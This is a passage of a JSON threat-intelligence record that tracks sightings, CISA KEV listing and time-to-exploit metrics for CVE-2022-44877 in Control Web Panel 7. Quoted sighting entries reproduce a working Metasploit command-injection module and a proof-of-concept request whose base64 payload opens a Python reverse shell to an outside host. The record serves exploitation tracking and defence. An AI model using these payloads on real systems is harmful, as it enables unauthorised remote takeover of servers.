McIntyre', # metasploit module\n'Numan T\u00fcrle' # vulnerability discovery\n],\n'References' => [\n[ 'CVE', '2022-44877' ],\n[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],\n[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]\n],\n'DisclosureDate' => '2023-01-05',\n'License' => MSF_LICENSE,\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :linux_dropper\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'SSL' => true\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\n\nregister_options([\nOpt::RPORT(2031),\nOptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])\n])\nend\n\ndef check\nsleep_time = rand(5..10)\n\n_, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nvprint_status(\"Elapsed time: #{elapsed_time} seconds\")\n\nunless elapsed_time > sleep_time\nreturn CheckCode::Safe('Failed to test command injection.')\nend\n\nCheckCode::Appears('Successfully tested command injection.')\nrescue Msf::Exploit::Failed\nreturn CheckCode::Safe('Failed to test command injection.')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\ncase target['Type']\nwhen :unix_cmd\nif execute_command(payload.encoded)\nprint_good(\"Successfully executed command: #{payload.encoded}\")\nend\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\ndef execute_command(cmd, _opts = {})\nvprint_status(\"Executing command: #{cmd}\")\n\nres = send_request_cgi(\n'method' => 'POST',\n'uri' => normalize_uri(target_uri.path) + \"?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)\",\n'vars_post' => {\n'username' => 'root', # *must* be root\n'password' => rand_text_alphanumeric(4..16),\n'commit' => 'Login'\n}\n)\n\n# the command will either cause the response to timeout or return a 302\nreturn if res.nil?\nreturn if res.code == 302 && res.headers['Location'].include?('login=failed')\n\nfail_with(Failure::UnexpectedReply, \"The HTTP server replied with a status of #{res.code}\")\nend\nend Source:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/88124", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-05T00:00:10.017Z", "date_only": false, "value": "2026-09-05T00:00:10.017218Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/84246", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "f434df66-0573-47e7-ad3e-25aba0d518a8", "content": "Exploit Collector\nControl Web Panel 7 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png \nControl Web Panel 7 versions prior to 0.9.8.1147 suffer from an unauthenticated remote code execution vulnerability.\n\nSHA-256 | 698ef6e35dc8ca09f1857de4c6b56f25be500ed741ecd49ee2cd7f5d8dbf30ef\n\nDownload\n[+] Centos Web Panel 7 Unauthenticated Remote Code Execution\n[+] Centos Web Panel 7 - < 0.9.8.1147\n[+] Affected Component ip:2031/login/index.php?login=$(whoami)\n[+] Discoverer: Numan T\u00fcrle @ Gais Cyber Security\n[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194\n[+] CVE: CVE-2022-44877\nDescription\n--------------\nBash commands can be run because double quotes are used to log incorrect entries to the system.\n\nVideo Proof of Concept\n--------------\nhttps://www.youtube.com/watch?v=kiLfSvc1SYY\nProof of concept:\n--------------\nPOST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1\nHost: 10.13.37.10:2031\nCookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82\nContent-Length: 40\nOrigin: https://10.13.37.10:2031\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: https://10.13.37.10:2031/login/index.php?login=failed\nAccept-Encoding: gzip, deflate\nAccept-Language: en\nConnection: close\n\nusername=root&password=toor&commit=Login\n--------------\n\nSolution\n--------\nUpgrade to CWP7 current version.\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/84246", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-25T11:00:13Z", "date_only": false, "value": "2026-09-25T11:00:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/AEwUmxTHfjK52gcCzirRg3eKj4ECkiyGcn3Hrgzjr8KwPNw", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "b67f726d-d8ac-48a6-ac22-fc2d4573e41b", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-25T11:00:13Z", "date_only": false, "value": "2026-09-25T11:00:13.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/AEwUmxTHfjK52gcCzirRg3eKj4ECkiyGcn3Hrgzjr8KwPNw", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "fef7dffe-7943-4d94-bad1-67ba4d9c0b8d"}, {"timestamp": "2026-10-20T19:00:15Z", "date_only": false, "value": "2026-10-20T19:00:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/r3nuW7bpg3Wo971G9YmsG75FRCAeA5jLxn4Od3BMk4W-XNA", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "18bfffbe-6d6b-4246-b156-e736ea4b55e6", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-20T19:00:15Z", "date_only": false, "value": "2026-10-20T19:00:15.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/r3nuW7bpg3Wo971G9YmsG75FRCAeA5jLxn4Od3BMk4W-XNA", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "2afc1a1a-1870-4c52-ac6a-17f751e91ba4"}, {"timestamp": "2026-11-04T13:31:51Z", "date_only": false, "value": "2026-11-04T13:31:51+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2022-44877", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8419ae1b-d239-4b01-a77a-b24315ae92fb", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-15T19:06:52.544Z", "anchors": {"origin": {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2023-01-05T19:40:32Z", "date_only": false, "value": "2023-01-05T19:40:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/6905", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "dfd96818-318a-4fa9-adbb-def8cdd28555", "content": "Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877\n\nhttps://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/thebugbountyhunter/6905", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2023-01-13T10:46:05Z", "date_only": false, "value": "2023-01-13T10:46:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/3934", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "d3dc6343-b881-4a1c-93e2-7cc57e669cf2", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2022-44877 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8 \u0438\u0437 10, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Control Web Panel (\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u0430\u043a CentOS Web Panel), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a \u0432\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c CentOS, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Linux.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e 0.9.8.1147 \u0438 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\u00a0\u0435\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u043c\u0438 25 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0421\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0439 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00a0\u041d\u0443\u043c\u0430\u043d \u0422\u044e\u0440\u043b\u0435\u00a0\u0438\u0437 Gais Cyber Security 3 \u044f\u043d\u0432\u0430\u0440\u044f \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (PoC) \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u043e\u043b\u0438\u043a, \u0430 \u0442\u0440\u0438 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Shadowserver Foundation \u0438\u00a0GreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430\u00bb.\n\n\u041f\u043e \u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2022-44877 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0440\u0443\u0433\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0448\u0438\u043d.\n\nGreyNoise \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043c\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e\u00a0\u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2022-44877, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 - \u0432 \u0421\u0428\u0410 \u0438 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 - \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445 \u0438 \u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043b\u0435\u0433\u043a\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CWP \u0434\u043e\u00a0\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f 0.9.8.1148, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.", "url": "https://t.me/true_secator/3934", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 729965.0, "hours": 202.76805555555555, "days": 8.44866898148148, "min_seconds": 643565.0, "max_seconds": 729965.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-01-13T10:46:05Z", "date_only": false, "value": "2023-01-13T10:46:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/3934", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "d3dc6343-b881-4a1c-93e2-7cc57e669cf2", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2022-44877 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8 \u0438\u0437 10, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Control Web Panel (\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u0430\u043a CentOS Web Panel), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a \u0432\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c CentOS, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Linux.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e 0.9.8.1147 \u0438 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\u00a0\u0435\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u043c\u0438 25 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0421\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0439 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00a0\u041d\u0443\u043c\u0430\u043d \u0422\u044e\u0440\u043b\u0435\u00a0\u0438\u0437 Gais Cyber Security 3 \u044f\u043d\u0432\u0430\u0440\u044f \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (PoC) \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u043e\u043b\u0438\u043a, \u0430 \u0442\u0440\u0438 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Shadowserver Foundation \u0438\u00a0GreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430\u00bb.\n\n\u041f\u043e \u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2022-44877 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0440\u0443\u0433\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0448\u0438\u043d.\n\nGreyNoise \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043c\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e\u00a0\u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2022-44877, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 - \u0432 \u0421\u0428\u0410 \u0438 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 - \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445 \u0438 